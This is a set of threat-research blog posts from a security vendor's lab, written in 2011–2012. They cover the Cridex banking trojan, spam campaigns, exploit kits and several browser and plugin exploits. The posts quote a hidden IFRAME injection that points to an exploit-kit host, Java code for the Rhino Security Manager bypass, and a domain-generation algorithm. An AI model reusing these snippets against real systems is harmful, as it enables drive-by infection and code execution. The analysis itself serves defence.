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M86 Security Labs now part of Trustwave’s SpiderLabs

By Phil Hay  •  April 1st, 2012  •   General

Many of you are probably already aware of the acquisition of M86 Security by Trustwave. As part of the acquisition, we are pleased to announce that M86 Security Labs is combining with Trustwave’s SpiderLabs. We are excited by the move, as we become part of a larger and more diverse team of security professionals that focus on penetration testing, incident response, application security and security research. The combined team will be stronger, with enhanced threat intelligence and resources which can only help our customers going forward.

So this then is the final post in the M86 Security Labs blog. But we are not going away. We will be continuing the research that underpins the security updates to all our products. We will also be contributing to ‘Anterior’, the official blog of SpiderLabs. We encourage all our readers to visit Anterior and sign up to the RSS feed here. Existing blogs on this site will remain for now, but will be moved over to Anterior in the near future.

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The Cridex Trojan Targets 137 Financial Organizations in One Go

By Daniel Chechik  •  March 1st, 2012  •   Botnets Cybercrime Malware Spam

A few weeks ago M86 Security Labs alerted that cybercriminals managed to compromise hundreds of WordPress-based sites. These attacks started with several large spam campaigns as reported in our most recent blog post on Cutwail. These emails included embedded URL links or HTML attachments that tricked the user to browse to the compromised Web sites. All these links eventually lead to Web pages infected with the Phoenix exploit kit. These cybercriminals operate Fast flux networks, which are a DNS technique used by botnets to hide the main C&C servers.

After the target machine is successfully exploited, the Phoenix exploit kit downloads a Trojan to the victim’s machine. The downloaded Trojan is recognized by antivirus vendors under several names such as Cridex, Carberp and Dapato. Antivirus detection is quite low and only ten out of 43 antivirus scanners in VirusTotal can detect it.

VirusTotal scan of Cridex

VirusTotal scan of Cridex

Let’s take a look how this Trojan operates step by step.

Once the Cridex Trojan is loaded to the victims’ machine it executes several actions. First, it copies itself to drive C: as KB00447841.exe and creates the following files:

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\POS1.tmp
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\POS1.tmp.BAT
C:\Documents and Settings\Administrator\Application Data\KB00447841.exe

The BAT file upon its execution removes the original malware downloaded by the Phoenix exploit kit.

In the second phase, the malware hooks into the “explorer.exe” process.  Then it communicates with its C&C which  is done over Fast flux networks to make it harder to identify and shut down their C&C servers. Every several hours one domain becomes unavailable and is replaced by another one. In some cases, the traffic flow of the Trojan can look like this:

Fiddler dump of the Trojan’s traffic activity

Fiddler dump of the Trojan’s traffic activity

Cridex consistently tries to find a live proxy to reach the C&C server. At first glance the domain names look random. However, when taking a closer look, we see that the Trojan generates a new domain name before every attempt to access the C&C:
Ollydbg - Debugging of "Explorer.exe" infected by the Trojan

Ollydbg - Debugging of "Explorer.exe" infected by the Trojan

Here is a pseudo code of the Trojan’s code:

ECX = ECX * 0x19660D
ECX = ECX + 0x3C6EF35F
ECX = ECX << 0×10
ECX = ECX – 0x7FFF
EAX = ECX
EDX = 0
EAX = EAX XOR 0×88
EBP = 0x1A
EAX = EAX / 0x1A
EDX = EAX % 0x1A
ESI++
EDX = EDX + 0×61
Address[EBX + ESI] = DX
If not reached the end of the domain name length continue

Using this logical algorithm to generate and access domains, the cybercriminals can resume the attack even after their server(s) are offline for some period of time.

Once the Trojan finds a live proxy, it connects to the C&C server and downloads a customized configuration from the Cridex botnet. The cybercriminals are currently running multiple botnets with over 25,000 infected machines.

Cridex botnet control panel

Cridex botnet control panel

This Trojan’s capability is basically similar to Zeus and SpyEye. It collects information from the user’s machine and sends it to the C&C server. This information can include, for example, cookies, FTP credentials and email accounts.

The configuration panel of the Cridex Trojan

The configuration panel of the Cridex Trojan

The cybercriminals can track specific Web sites that are accessed by the user by taking screenshots of every page the user accessed in real time. They can also blacklist URLs, redirect URLs and more. Same as with the Zeus Trojan, the administrators can supply a code to be injected into Web pages. The Cridex Trojan intercepts browser requests and changes the displayed content according to the configuration, written by the administrator of the botnet. This way the cybercriminal can trick the user to enter valuable information the cybercriminal is looking for, without raising suspicion.

What’s new in the Cridex Trojan compared to Zeus or SpyEye?

Cridex has a “WORLD BANKER CENTER” plug-in which includes a database of 137 banks. Yes, one hundred, thirty seven different banks or financial organizations from all over the world!

Data collected by the "WORLD BANK CENTER" plug-in

Data collected by the "WORLD BANK CENTER" plug-in

This control panel provides simple user experience for the cybercriminals. It contains the structure of the banking organization’s Web site pages, so the Trojan can identify which valuable fields to send back to the C&C. Moreover, the cybercriminals can create and change forms that are normally completed by the victim.

Templates of "WORLD BANK CENTER" plug-in

Templates of "WORLD BANK CENTER" plug-in

In conclusion, the Cridex Trojan takes control of the victim’s machines and allows it to collect information and potentially make fraudulent transactions by manipulating the bank Web pages.

M86 MailMarshal Secure Email Gateway customers are protected against these blended threat spam campaigns, and M86 Secure Web Gateway customers are protected against the Phoenix exploit kit and in particular against the Cridex Trojan.

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Cutwail Drives Spike in Malicious HTML Attachment Spam

By Rodel Mendrez  •  February 16th, 2012  •   Spam

Over the past month, we have observed several large spam campaigns with malicious HTML attachments. We believe the botnet behind these campaigns is Cutwail. Here is data we collected, starting from the first day of 2012, illustrating spikes of spam with malicious HTML attachments:

Attaching an HTML file to an email is a tactic we have seen used in phishing. But recently, attackers have spammed out large volumes of HTML attachments that include malicious JavaScript. Here is an example we received a few days ago:

In the image above, we opened message with the attached .HTM file using the Mozilla Thunderbird email client. Although Thunderbird rendered the HTML attachment, fortunately its default settings prevented the malicious JavaScript in the HTML source code from running. The Thunderbird user needs to click the attachment or open the HTML file in a browser for the JavaScript to run.

The image below is another example of a more recent spam campaign. This particular message claims to be an invoice from a random company where an .HTM file is attached pretending to be an invoice file. Here, the sample spam was opened using Microsoft Outlook and the attachment just shows the icon of the default browser of the system. Again, in order for the malicious JavaScript to execute, the user needs to click the attachment to fire up a browser.

 

So what happens if the unsuspecting user opens the HTML attachment? Here is the HTML source code:

The first half of the HTML code is the benign part. It provides the “You are redirecting…” text in the browser title bar and prints “Please wait… Loading….” in the browser – the cybercriminal perhaps just being courteous. The second and malicious part is the script tag where the obfuscated JavaScript resides. The JavaScript writes an iframe that loads a webpage in the same browser window. But this is not an ordinary webpage; it contains code that attempts to exploit multiple vulnerabilities in the browser and its plugin. In our test machine, the landing page successfully exploited our browser’s default PDF reader with the Libtiff integer overflow in Adobe Reader vulnerability. The exploit ended up downloading and installing malware in our test computer, which at the time of writing, was a data-stealing Trojan with the antivirus detection name Cridex.

The landing page that contains the exploit code is a kit used by cybercriminals particularly for this spam campaign, the Phoenix Exploit kit. This exploit kit is readily available for cybercriminals to buy and use, all they need is their own webserver that can run PHP server scripts. The image shown below is the screenshot of the actual server’s “Phoenix Exploit’s Kit” admin page. The “—“ referrer in the statistics suggests that most visitors were NOT coming from another website but from the HTML files that the cybercriminals spammed out. It also shows over 4000 visitors, 15% of whom were successfully exploited.

 

Spammers tend to recycle spam campaign themes, sometimes adding different twists. So we expect more of these types of HTML attachment campaigns to come in the future.

M86 MailMarshal customers are protected against these spam campaigns, and M86 Secure Web Gateway customers are protected against the Phoenix Exploit kit.

Thanks to Daniel Chechik for the additional analysis and insight on the Phoenix kit.

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M86 Security Threat Report for the Second Half of 2011 is Now Available

By Ziv Mador  •  February 8th, 2012  •   Botnets Cybercrime Reports Social Networking Spam Vulnerabilities

We are releasing today our bi-annual Threat Report for 2H 2011. The report relies on M86 Security Labs analysis of spam and malware activity, including the current use of exploit kits, fraudulent digital certificates and social networking schemes. Key points from the M86 Security Labs for the second half of 2011 are:
1. Targeted attacks became sophisticated and pursued a wider range of organizations, including commercial, national critical infrastructure and military targets.
2. Use of stolen or fraudulent digital certificates has become more common, especially as part of targeted attacks.
3. In several targeted attacks, malware was hidden by embedding itself in various file formats—with a few cases of multiple embedding layers. This method can evade security software that fails to scan deep enough.
4. Blackhole has become the most prevalent exploit kit in the second half of 2011 with a huge margin over other exploit kits. Some of the exploit kits which were active in the past are rarely used now or were practically abandoned.
5. Newer versions of Blackhole are being deployed first in Eastern Europe. Its authors increased its update frequency and added new exploits and tricks to evade detection, such as checking the software version on the client machine before attempting to exploit it.
6. Fake social media notifications are now a mainstream way for spammers to dupe users into clicking links.
7. Facebook continues to be a conduit for spam and malware, as many campaigns are spreading virally by enticing users to share posts that promise gift cards or other rewards.
8. Hacked, but otherwise legitimate, websites played a major role in distributing spam and malware by redirecting browsers to the ultimate destination.
9. Malicious Web content currently exploits more than 50 vulnerabilities in various software products. The most commonly exploited products are Microsoft Internet Explorer, Oracle Java, Adobe Acrobat Reader, Adobe Flash and Microsoft Office products.
10. The overall volume of spam continued to decline in 2011, reaching a four-year low in December 2011.
11. Eight spamming botnets were responsible for 90% of the spam monitored by M86 Security Labs. All of these botnets are familiar and have been established for some time.
12. The proportion of malicious spam rose in the second half of the year from less than 1% to 5%, including a massive spike in malicious attachments in August and September. Later in the year, the focus shifted from malicious attachments to malicious links that led to exploit kits, in particular, the Blackhole exploit kit.
13. Some noticeable wins by law enforcement authorities and researchers against cybercriminals, botnets and affiliate programs like fake AV and rogue online pharmacies, took place this year.
14. Malicious Web content hosted in China targets mostly older versions of Internet Explorer, which is popular in that country.
15. Almost half of the global malicious Web content is hosted in the U.S. The states hosting most malware are Florida, California, Texas and Washington.

The report provides statistics about the geographical distribution of web-based malware, about the most commonly used exploits and about the prevalence of exploit kits. Statistics about spam categories and spam botnets are also provided. In addition to these statistics, the report includes eleven featured articles about current cyber threats and ends with recommendations for administrators, Website owners and end users.
The M86 Security Labs Report can be downloaded from http://m86.it/2HSecReport.
We hope you find the information in this report useful.
M86 Security Labs

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MIDI Files – Mid-Way to Infection

By Arseny Levin  •  January 31st, 2012  •   Vulnerabilities

Microsoft’s January patch MS12-004 addressed a few vulnerabilities in Windows Media components. One particular issue, CVE-2012-0003, can be exploited via Windows Media Player ActiveX, as it leverages a heap overflow occurring in ‘midiOutPlayNextPolyEvent’ function within the Windows Multimedia Library, winmm.dll. The bad guys didn’t waste time and this vulnerability is now exploited in the wild as reported by Trend Micro. A Web page hosted on a South Korean site loads a maliciously crafted MIDI file and sprays the heap. The attacker utilizes the exploitation method presented in Nicolas Joly’s blog from VUPEN. The attack allocates an HTML element of a specific size and eventually overwrites some of its data, and thus achieves malicious code execution.

The author of this page used a Korean JavaScript obfuscator in order to obfuscate a large block of code which hides the shellcode, as can be seen in the following code snippet. In particular, the obfuscated code, generated by this tool, changes itself several times during execution.


The code also ensures that it is being executed only in Internet Explorer because that’s the only browser where this exploitation will be successful. After de-obfuscating the JavaScript code, we can analyze the shellcode itself. The author uses a common evading technique: XOR encryption, with a decrypting loop at the prologue. This technique is usually very effective against signature based detection engines.

Then the shellcode imports and calls URLDownloadToFileA to download the payload which is a packed executable, saving it with an ambiguous name such as “a.exe”.

The executable is a downloader which fetches additional malware with rootkit capabilities. The author of the attack did a decent job obfuscating the executable file, as can be seen by a Virustotal analysis:

All M86 Secure Web Gateway customers are protected from this attack by default without need to install any security update.

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Massive Compromise of WordPress-based Sites but ‘Everything will be Fine’

By Daniel Chechik  •  January 30th, 2012  •   Cybercrime Malware
A few days ago, hundreds of websites, based on WordPress 3.2.1, were compromised. The attacker uploaded an HTML page to the standard Uploads folder and that page redirects the user to the Phoenix Exploit Kit. Its logs show that users from at least four hundred compromised sites were redirected to Phoenix exploit pages.  Here is a partial list of those websites:
Partial List of Compromised WordPress websites
Partial list of compromised WordPress websites
The content uploaded by the attacker is not part of the home page and will not show when users browse  these websites. In fact, accessing any page on these compromised WordPress sites, other than the uploaded page, will not infect the user’s machine. The general motivation of attackers to compromise websites is mainly to bypass URL reputation mechanisms, spam filters and certain security policies.
In order to lure users to these pages, the attacker sent thousands of malicious emails querying an unfamiliar bill and asking recipients to click on a link as described by Websense blog. The link points to the aforementioned uploaded page.
The malicious uploaded page

The malicious uploaded page

The page is obfuscated and adds a hidden IFRAME that leads to the Phoenix Exploit Kit:
<IFRAME style=”RIGHT: -8710px; WIDTH: 0px; POSITION: fixed; HEIGHT: 24px” src=”hxxp://horoshovsebudet.ru:8801/html/yveveqduclirb1.php” frameborder=”0″></IFRAME>

The exploit page is hosted in a Russian domain called horoshovsebudet which roughly translates as “Everything will be fine”, showing a certain sense of humor by these attackers.
The Phoenix Exploit Kit identifies the User Agent of the client machine and delivers a customized exploit Web page. The following obfuscated page was served when accessing with Internet Explorer 6:

The obfuscated Phoenix exploit page

The obfuscated Phoenix exploit page

The obfuscated page above generates code which attempts exploiting multiple vulnerabilities in Microsoft Internet Explorer, Adobe PDF, Flash and Oracle Java as described in the Phoenix Exploit Kit blog. Among those exploits is the latest Java Rhino vulnerability as shown in the following screenshot and taken from the original malicious server.

Statistics on Phoenix Exploit Kit control panel

Statistics on Phoenix Exploit Kit control panel

Note the successful exploitation rate of the Java Rhino vulnerability and of the PDF Libtiff vulnerability.  Even the MDAC vulnerability is successfully exploited which is surprising given that it only exists in the old version 6 of Internet Explorer.

Interestingly enough, the “Browser statistics” chart in the screen shot above shows that none of the victims used Google Chrome. Taking a closer look at the source code of the Phoenix Exploit Kit reveals that Chrome browser is explicitly excluded, for no obvious reason:

Phoenix Exploit Kit source code
Phoenix Exploit Kit source code

All M86 Secure Web Gateway customers are protected against this attack by default. The access to the exploit page is blocked.

As usual, stay safe and be careful not to click links in suspicious emails.

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Zbot Trojan spreads through fake ConEdison billing notification email

By Rodel Mendrez  •  January 13th, 2012  •   Spam

Today we came across a new malicious spam campaign that is actively sent out by the Cutwail spam botnet. The suspicious email claims to be a bill summary from the New York-based energy company Con Edison, Inc. It may use the subject line “ConEdison Billing Summary as of <DATE>” and the attachment uses the filename format  Billing-Summary-ConEdison-<random numbers>-<Date>.zip.

The attached zip file contains an executable file, which unsurprisingly is a Zbot malware variant. When extracted, the malicious executable uses no disguise. It uses no fake icons of Adobe Reader or Microsft Word, no double file extensions, or excessive use of space in the file name to hide the .EXE extension. The attached file is so dull that average users should easily spot that the file is suspicious.

The good news is that when this particular Zbot sample was run, it failed to communicate to its command and control (CnC) server at plantlunch[dot]ru which turns out to be currently offline.

 

In conclusion, bill notifications do not usually arrive with an executable file so emails like this should be treated with extreme suspicion. When you see these obvious signs of malware, just stop and delete the email. M86 MailMarshal customers were protected against this campaign from the moment it began.

 

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Web Hijacks with AJAX

By Moshe Basanchig  •  January 3rd, 2012  •   Malware

Malware authors always seem to closely monitor trends in Web security development in order to create a variety of browser-based attacks. Just to name a few, techniques such as code obfuscation, plug-in detection and affiliate management are often used.

This is why we, at M86 Security, weren’t surprised to see a malicious site which loads parts of its attack using AJAX (Asynchronous JavaScript and XML), a method for client-side code to asynchronously exchange data with web servers. The following attack was observed on a currently running server located in China, which is serving malware. So how does this work?

First, there’s a web-page, containing JavaScript code that fetches the other parts of the attack:

loader function

This code is very similar to code commonly used in so many web pages nowadays. The main difference is the extra parameters it accepts, which are used to “cut” certain parts from the accepted content, so it could be processed and executed as code later on.

Next, the returned code is used by the exploit. In this case, the code is shellcode:

shellcode

It’s simple. Using the exact same technique, this web page can load various browser or plugin exploit attempts. In this specific case, the page loads a SWF file exploiting CVE-2010-1297. Other pages on this server are exploiting CVE-2010-0806 and CVE-2010-0249.

The main reason that malware authors use AJAX is the ability to write generic attack pages which look benign and become malicious only once the dynamic content is loaded. This provides an advantage which is also very useful for evading AV detection, since tiny bits of the attack can be loaded one at a time, thus making it very difficult to provide a signature.

Needless to say, M86 SWG customers are protected from such exploitation attempts.

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Prevalent Exploit Kits Updated with a New Java Exploit

By Daniel Chechik  •  December 16th, 2011  •   Cybercrime Malware Vulnerabilities

Until recently, most of the vulnerabilities exploited by popular exploit kits were found last year or even earlier. Moreover, it would take authors at least a month to update their kits with the new exploits that had been discovered in the wild. However, in the past few weeks, authors released an updated version of their kits with a new recent exploit before a patch had been released.

First, a new version of the Blackhole exploit kit was released, version 1.2.1:

Live Blackhole Exploit Kit control panel
Live Blackhole Exploit Kit control panel

The Blackhole exploit kit presented above was modified to exploit clients that have Java installed, using the recently discovered CVE-2011-3544 vulnerability. This is the only vulnerability that is actually being exploited.
A few days later, a new version of Phoenix exploit kit 3.0 was released,  just a few weeks after the release of its predecessor, Phoenix 2.9.

Live Phoenix Exploit Kit 3.0 control panel

Live Phoenix Exploit Kit 3.0 control panel

Notice the red boxes in the screen shots above: A new exploit was added to those exploit kits, which is the reason for the upgrade.

A few weeks ago Michael ‘mihi’ Schierl described a design error in Java. Basically this vulnerability is similar to other Java vulnerabilities where an untrusted code is executed in elevated privileges. Rhino is a Javascript engine that runs under the JVM and can interact with Java applets. An attacker can bypass the scripting engine protection by generating an error object, using Rhino script, which runs in elevated privileges and executing code that disables the Security Manager. Once the Security Manager is disabled, the attacker can execute code with full permissions.

Not long after the discovery, an exploit module was published in Metasploit. First, the code binds a Rhino object with the applet:

import javax.script.*;

ScriptEngine engine = new ScriptEngineManager().getEngineByName(“js”);
Bindings b = engine.createBindings();
b.put(“applet”, this);

The Java code executes a script that bypasses the Security Manager protection by using the “toString” method inside a script context:

Object proxy = (Object) engine.eval(
“this.toString = function() {” +
“                      java.lang.System.setSecurityManager(null);” +
“                      applet.callBack();” +
“                      return String.fromCharCode(97 + Math.round(Math.random() * 25));”+
“};” +
“e = new Error();” +
“e.message = this;” +
“e”, b);

The script throws an exception, and the rest of the code would be executed.

catch (ScriptException e) {
e.printStackTrace();
}

The vulnerability is cross-platform and doesn’t require heap spray or buffer overflow techniques. That makes it very effective and therefore authors of exploit kits rushed to add it to their kits. The concerning aspect is that the Blackhole exploit kit was updated even before a patch was released by the vendor.

Customers of all versions of M86 Secure Web Gateway are safe, as it provides zero-day protection against this vulnerability by default.

We highly encourage users to keep their Java updated, or remove it if it is not needed. A patch for this Java vulnerability is available by now: Look for Java 6 Update 29, or Java 7 Update 1.

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A new Adobe 0-day In the Wild – – But No Worries, You are Already Protected with Our Secure Web Gateway!

By Anat Davidi  •  December 7th, 2011  •   Vulnerabilities

Yesterday Adobe released an advisory for a vulnerability in the Adobe Reader and Adobe Acrobat products. The vulnerability, titled ‘U3D Memory Corruption Vulnerability’ was part of a targeted attack and discovered by Lockheed Martin’s Computer Incident Response Team. This is not the first time a targeted attack has been aimed at the US defense industry.

This attack involves embedding a maliciously crafted Universal 3D (U3D) stream in a PDF file, one of several examples of attacks on embedded streams within PDF files, and represents a growing attack vector due to its ability to deal with defense mechanisms among which DEP and ASLR (two techniques meant to help prevent unauthorized code execution) using known techniques such as JIT Spraying.

According to Adobe’s blog post released alongside the advisory, Adobe is planning to release an update for Adobe Reader 9, the version targeted by this vulnerability, “no later than the week of December 12, 2011″. The rest of its supported versions will receive updates as part of their quarterly updates in January 2012.

M86 Secure Web Gateway, version 9.2 and above, provides zero-day protection against this attack, without requiring any further updates. Customers who wish to monitor the attack in their organization may look for attacks that are tagged with the “Adobe Universal 3D streams” block message.

We’re proud that our proactive rules block this new zero-day exploit and we’ll continue to work hard to provide this level of protection to our customers in the future.